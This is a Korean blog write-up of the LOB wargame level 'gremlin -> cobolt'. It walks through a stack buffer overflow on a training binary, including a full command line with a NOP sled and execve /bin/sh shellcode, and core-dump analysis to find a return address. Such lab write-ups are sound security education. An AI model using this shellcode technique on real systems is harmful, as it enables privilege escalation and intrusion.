처음 목적은 세세한 풀이 내용을 모두 서술하려했으나.. 그건 사실상 불가능한 것 같아서 포기하고
그래도 최대한 그림으로 풀이할 예정.
그건 그렇고 왜 권한 설정이 이렇게 돼있는건지 의문.. 문제 파일에 쓰기 권한이 있어서 실수로 덮어씌워서 아예 그냥 전부다 권한설정해버리느라 시간허비함..
아무튼 워게임은 여러 번 풀면 풀 때마다 감회도 새롭고 조금씩 더 배울 게 보이는듯;;
여기까지는 잡담이었고.
문제 코드이다. 버퍼가 작아졌다.
이제 버퍼에는 쉘코드를 넣을 수 없다?
버퍼 외에도 쉘코드를 넣을 수 있는 곳은 무수히 많지만, 아직 버퍼에 넣을 수 있다.
여기서는 ret 영역 뒤에 쉘코드를 삽입해보자.
버퍼의 오프셋을 아는 것은 기본. ebp-16이므로 ret address와의 오프셋은 20 바이트다.
다음에 해야 할 일은?
cp cobolt /tmp
cd /tmp
./cobolt `python -c 'print "A"*20+"\xbf\xbf\xbf\xbf"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
쉘코드의 주소를 알아내는 일.
/tmp 디렉토리에는 gate에서 썼던 파일들이 있다.
메모리 덤프(코어)를 위해 파일을 복사하여 실행했는데, (Core Dumped) 메시지가 보이지 않는다.
gate에서는 코어 파일 생성을 위해 사이즈를 조절했다.조절이 필요없었지만
여기서 core 파일이 생기지 않는 이유는 gate 소유의 core 파일이 이미 자리잡고 있기 떄문에, 그것을 덮어씌울 수 없기 때문이다.
고로, 우리는 디렉토리를 하나 만든다.
mkdir cobolt
cd cobolt
cp ~/cobolt .
파일 실행
이제 코어 파일이 잘 생성된다.
esp부터 메모리를 보니, nop 문자를 10000개 준만큼 전부다 nop인 것을 확인할 수 있다.
저 중에 아무 곳이나 고르면 된다.
필자는 0xbfffda70을 선택하여 페이로드 중 ret 영역에 리틀엔디안 방식으로 주소값을 대입했다.
쉘이 실행되는 것을 확인할 수 있다.
이제 cobolt의 권한을 획득해보자.
ln -sf ~/cobolt cobolt
심볼릭 링크를 거는 이유는 gate에서 설명했다.
마찬가지로 실패없이 쉘이 실행되어 권한을 획득했다!
'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글
LOB orc -> wolfman (0) | 2015.11.13 |
---|---|
LOB goblin -> orc (0) | 2015.11.13 |
LOB cobolt -> goblin (0) | 2015.11.13 |
LOB gate -> gremlin (0) | 2015.11.05 |
LOB 다운로드&초기 설정(bash 문제) (1) | 2015.11.01 |
WRITTEN BY
- hojongs
블로그 옮겼습니다 https://hojongs.github.io/